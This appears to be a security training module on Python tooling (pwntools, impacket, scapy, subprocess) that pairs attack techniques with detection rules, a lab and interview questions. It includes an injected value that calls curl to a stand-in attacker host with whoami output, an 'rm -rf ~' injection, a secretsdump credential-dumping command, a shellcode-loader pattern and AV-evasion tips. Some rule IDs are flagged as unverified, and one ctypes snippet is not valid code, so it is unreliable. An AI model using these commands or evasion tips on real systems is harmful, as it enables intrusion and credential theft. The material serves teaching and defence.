Python for Security
impacket, pwntools, scapy, frida-python, angr — every offensive and defensive tool you actually use is written in Python or has a Python wrapper. The language is the lingua franca of security work because the standard library has everything a CTF or engagement needs (sockets, struct, ctypes, multiprocessing), and the third-party stack covers everything else (SMB, NTLM, DNS, JWT, ASN.1). This module covers the libraries, idioms, and mistakes that matter when you write Python for security work — including the one bug (subprocess.run(cmd, shell=True)) that has bitten every red-team script ever shipped.
The Core Concept
Section titled “The Core Concept”Python is a high-level, garbage-collected language with a C ABI and a stdlib that exposes raw sockets (AF_INET/SOCK_RAW), struct packing (<I little-endian unsigned int), and ctypes for arbitrary memory layout. The GIL serializes bytecode execution but releases on I/O, so socket-bound scanners do scale on threads; CPU-bound work needs multiprocessing.
┌────────────────────────────────────────────────────────────┐│ Top of stack: offensive tooling ││ pwntools, impacket, scapy, paramiko, asyncssh │├────────────────────────────────────────────────────────────┤│ Mid stack: protocol libraries ││ requests, httpx, websockets, dnspython, pyasn1 │├────────────────────────────────────────────────────────────┤│ Stdlib: low-level building blocks ││ socket, ssl, struct, ctypes, subprocess, asyncio │├────────────────────────────────────────────────────────────┤│ CPython runtime: C ABI, GIL, reference counting ││ libpython → libc → kernel syscalls │└────────────────────────────────────────────────────────────┘How It Works
Section titled “How It Works”-
Sockets (stdlib
socket) — direct access to the socket syscall.import socket, struct# raw TCP SYN with IPPROTO_TCP; needs CAP_NET_RAW or roots = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)# construct TCP header: src_port(2) dst_port(2) seq(4) ack(4)# data_off/flags(2) window(2) csum(2) urgptr(2)tcp_hdr = struct.pack('!HHIIHHHH', 33333, 80, 1000, 0, 0x5002, 64240, 0, 0)!= network byte order (big-endian).H= uint16,I= uint32. This is whatscapydoes internally for everyIP()/TCP()packet. -
struct— protocol parsing. Format characters:Buint8,Huint16,Iuint32,Quint64,schar[N],xpad. Prefixes:<little-endian,>big-endian,!network. For example, parsing a DNS header:id, flags, qd, an, ns, ar = struct.unpack('!HHHHHH', data[:12]) -
subprocess— the dangerous one. Two execution models:subprocess.run(['nmap', '-sS', host])— argv list, no shell, no injection.subprocess.run(f'nmap -sS {host}', shell=True)—/bin/sh -c— host can be; rm -rf ~.
Never use
shell=Truewith unsanitized input. Ever. -
requests— the de facto HTTP client.import requestss = requests.Session()s.headers['User-Agent'] = 'lab-scanner/1.0's.verify = True # default; do NOT disable# retries with exponential backoff via urllib3 Retryfrom urllib3.util.retry import Retryfrom requests.adapters import HTTPAdapters.mount('https://', HTTPAdapter(max_retries=Retry(total=3, backoff_factor=0.5)))verify=Falsedisables cert validation; only acceptable for lab tests, never in production code. Even then, suppress the warning:urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning). -
pwntools— CTF binary exploitation toolkit.from pwn import *elf = ELF('./vuln')context.binary = elfio = process(elf.path) # localio = remote('challenge.ctf', 1337) # remoteio.sendline(cyclic(200))io.recvuntil(b'Segfault at ')crash = int(io.recvline(), 16)offset = cyclic_find(crash) # exact offset to saved RIPcyclic(200)isaaaabaaacaaadaaeaa...— De Bruijn pattern, so the crash address uniquely identifies the offset. -
impacket— Windows protocol toolkit.from impacket.smbconnection import SMBConnectionc = SMBConnection('10.0.0.5', '10.0.0.5')c.login('user', 'Pass123!', domain='LAB')for share in c.listShares():print(share['shi1_netname'][:-1])secretsdump.py,psexec.py,wmiexec.py,ntlmrelayx.py,smbexec.py,getTGT.py,ticketer.py,findDelegation.py— every offensive Windows engagement uses these scripts. -
scapy— packet crafting and parsing.from scapy.all import IP, TCP, sr1, sendans = sr1(IP(dst='10.0.0.1')/TCP(dport=80, flags='S'), timeout=2, verbose=0)if ans and ans.haslayer(TCP) and (ans[TCP].flags & 0x12 == 0x12):print('open') # SYN/ACK -
ctypesfor shellcode execution (for understanding, not for malware):import ctypes, mmapbuf = mmap.mmap(-1, 4096, prot=mmap.PROT_READ|mmap.PROT_WRITE|mmap.PROT_EXEC)buf.write(b'\x90' * 100) # NOP sledctypes.CDLL(None).libc.system(b'/bin/sh') # equivalent but legitimateSame pattern that shellcode loaders use; the
mmapPROT_EXEC flag is what EDR hooks.
Common Techniques
Section titled “Common Techniques”| Technique | Library | Detection Difficulty |
|---|---|---|
| Argv-list subprocess | subprocess.run(['nmap', ...]) | Easy — argv is auditable |
| Shell-wrapped subprocess | subprocess.run(cmd, shell=True) | Hard — input parsing is the bug |
| Inline shellcode via ctypes | mmap(...PROT_EXEC); buf.write(sc); cast(buf, CFUNCTYPE(...))() | Medium — EDR hooks mprotect/mmap |
Impacket secretsdump.py | DCSync via DRSAPI-4 IDL_DRSGetNCChanges | Medium — Windows Event 4662 with 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes-All) |
pwntools remote() + cyclic | Buffer overflow offset finding | n/a — local exploit dev |
scapy sniff(iface='eth0') | Passive capture (needs CAP_NET_RAW) | Easy — traffic visibility |
asyncio port scanner | 65k ports in seconds, never blocks | Medium — burst of SYNs triggers rate-based IDS |
Hands-On Commands
Section titled “Hands-On Commands”# Install the canonical security toolkitpipx install pwntoolspython3 -m pip install --user impacket scapy requests pycryptodome paramiko
# Run the impacket secret dumper against a remote SMB share (must have creds)impacket-secretsdump LAB/user:Pass\!123@10.0.0.5
# Drop into an interactive scapy shell; pre-imports everythingscapy>>> sniff(count=10, filter='tcp port 22', prn=lambda x: x.summary())
# Patch a process and inspect its maps with pwntools' gdb.attachpython3 -c 'from pwn import *; context.binary=ELF("./vuln"); io=process("./vuln"); gdb.attach(io, "break *main+40"); io.interactive()'
# Quick HTTP probe with retries and TLS verificationpython3 -c 'import requestsfrom urllib3.util.retry import Retryfrom requests.adapters import HTTPAdapters = requests.Session()s.mount("https://", HTTPAdapter(max_retries=Retry(total=3, backoff_factor=0.5)))r = s.get("https://example.com", timeout=10)print(r.status_code, r.headers.get("server"), len(r.content))'
# Spin up an HTTP server for exfil (catch all routes)python3 -m http.server 8000 --bind 127.0.0.1
# Inspect a captured PCAP file with scapypython3 -c 'from scapy.all import rdpcap, TCPpkts = rdpcap("capture.pcap")print(sum(1 for p in pkts if p.haslayer(TCP)), "TCP packets")'Detection — Defender View
Section titled “Detection — Defender View”Python’s subprocess.run(cmd, shell=True) shows up in auditd rule -S execve -k exec as /bin/sh -c <cmd>. The argv to /bin/sh is logged verbatim; an EDR that records argv[2] catches the injected payload.
MITRE ATT&CK T1059.009 — Command and Scripting Interpreter: Cloud API (less common, but boto3-based Python is the tooling).
MITRE ATT&CK T1059 — Command and Scripting Interpreter (the umbrella that covers Python on the endpoint).
MITRE ATT&CK T1106 — Native API (ctypes calling kernel functions like VirtualAllocEx on Windows or mprotect on Linux is detectable as cross-language behavior).
MITRE ATT&CK T1218 — System Binary Proxy Execution — Python’s python.exe running import of a built-in binary (unzip, tarfile) to extract payloads.
MITRE ATT&CK T1003.006 — OS Credential Dumping: DCSync (impacket-secretsdump against a domain controller).
Wazuh rule 31103 / 920 — generic “command line shell injection” detection [verify].
Wazuh rule 60004 — Suspicious Python execution (if python is not in your allowlist) [verify — requires a custom decoder and a static allowlist of script names].
For network-side detection: impacket has a unique SMB signature (uses ntlmssp with a fixed NegotiateFlags bitmask, often 0xE20882, and a NULL server name on Windows). Suricata SID 2221017 [verify] — “ET POLICY Impacket SMB Negotiate Protocol”.
Evasion Techniques
Section titled “Evasion Techniques”subprocess.run(..., shell=False) is not a free pass. If the argv list is ['sh', '-c', user_input], you have moved the injection point but not removed it. Defense: never pass user input as the first argument to sh -c.
Frozen PyInstaller binaries. Tools like pyinstaller --onefile bundle the Python interpreter and bytecode into a single ELF. AV that signatures python3.10 as a string will flag legitimate PyInstaller-packaged apps. Defense (attacker side): strip the pyi- prefix in the archive header. Defense (defender side): YARA on the PyInstaller bootloader bytes (MEI\x0c\x0b\x0a\x0b\x0e magic at offset 0).
sys.setrecursionlimit-based stack overflow to bypass CPython optimizations. Not a security primitive. Skip.
AES in pure Python is detectable. A Python implementation of AES is 1000× slower than pycryptodome’s Crypto.Cipher.AES (which uses OpenSSL’s aes-evp). Defenders see real AES as libcrypto.so calls in strace; a pure-Python implementation is detectable as “lots of CPU time in python without libcrypto calls” — useful for flagging “innocuous” C2 channels.
HTTP/JSON C2 with requests and a long polling interval. requests.Session() over TLS to cloudflare-fronted-domain.com is indistinguishable from a desktop app checking for updates — unless you also see the Authorization: Bearer header with a static token on every request. Defense (attacker): rotate tokens; use short JWTs. Defense (defender): alert on identical Bearer tokens across distinct source IPs.
| Technique | What it hides | How to detect |
|---|---|---|
| PyInstaller one-file | Source code | YARA on bootloader magic; bytecode decompile via pycdc after carve |
requests + TLS to CDN | C2 traffic | TLS SNI + JWT static token correlation |
subprocess.run(argv_list) | Shell-injection footprint | auditd logs argv verbatim |
mmap(PROT_EXEC) shellcode | Malicious bytecode | EDR hooks mprotect/VirtualProtect from non-image bases |
| Pure-Python AES | CPU-only crypto | No libcrypto.so in /proc/<pid>/maps |
⚠️ What caught me: A custom scanner script I shipped used
subprocess.run(f'host {target}', shell=False)— wait, no, it usedshell=Truewith a f-string. A tester fedtarget = 'x; curl http://attacker.tld/$(whoami)'. The script ranhostfirst, thencurlwith the result ofwhoamias a path. Thewhoamivalue waslab_user, so the request hitattacker.tld/lab_user. I saw that on the listening server and assumed the customer had been owned; it was actually my own scanner being owned. Lesson:shell=Truewith f-strings is the universal way to ship a webshell that accepts inputs from your bug bounty program.
Lab Practice
Section titled “Lab Practice”VM: Ubuntu 22.04 with Python 3.10, python3-pwntools, python3-impacket, python3-scapy, python3-cryptography. A second VM running vulnserver.exe (Trey Corkran’s classic) on Wine, or Metasploitable2 as the target.
Objective:
- Write a 50-line async port scanner (
asyncio+socket.setblocking(False)) that scans a /24 for SSH banners. Print open hosts sorted by IP. - Use
impacket’s SMBConnection to enumerate shares on the target VM; printIPC$,C$, and any custom shares with their remarks. - Use
pwntoolsagainst a deliberately vulnerable binary (vulnfrompwn.college): connect, find the offset to saved RIP withcyclic, and submit a one-gadget ROP chain. - Use
scapyto send 5 TCP SYNs to port 80 of a local server and print the SYN/ACK or RST response. Verify withtcpdump -nni lo port 80that the packets actually go out.
Expected flag format: flag{async_scanner_done_smb_shares:<count>_rop_offset:<int>_scapy_ok}.
Detection that should fire: auditd exec log shows the python3 scanner.py argv with the f-string target — confirm shell=False; Suricata logs the SYNs from scapy as ET SCAN Potential SSH Scan [verify] if rate > 5/sec; Windows Security Event 4624 LogonType=3 from impacket SMB login shows the source IP.
Interview Questions
Section titled “Interview Questions”Conceptual: explain the difference between subprocess.run([...], shell=False) and subprocess.run(cmd, shell=True). What does shell=True actually invoke, and what are three concrete attacks against shell=True?
Technical: walk through what happens when Python’s socket.connect(('10.0.0.5', 80)) is called. Name every libc function invoked and the syscall number for connect on x86_64 Linux.
Scenario: you are given a 50-line Python script that reads a URL from argv[1], does requests.get(url, verify=False), and prints the response body. List every security issue and propose a corrected version.
What does pwntools cyclic(200) produce, and why is the De Bruijn sequence useful for finding buffer overflow offsets? What is the practical limit (alphabet size, subsequence length) and why does pwntools use 4-character subsequences?
Technical: explain how impacket-secretsdump performs DCSync. Name the exact DRSUAPI RPC method invoked and the access mask on the domain controller object that grants the caller the right to perform it.
Related Modules
Section titled “Related Modules”→ F1 (Networking Fundamentals) · F6 (Bash & Shell Scripting) · F7 (PowerShell Fundamentals)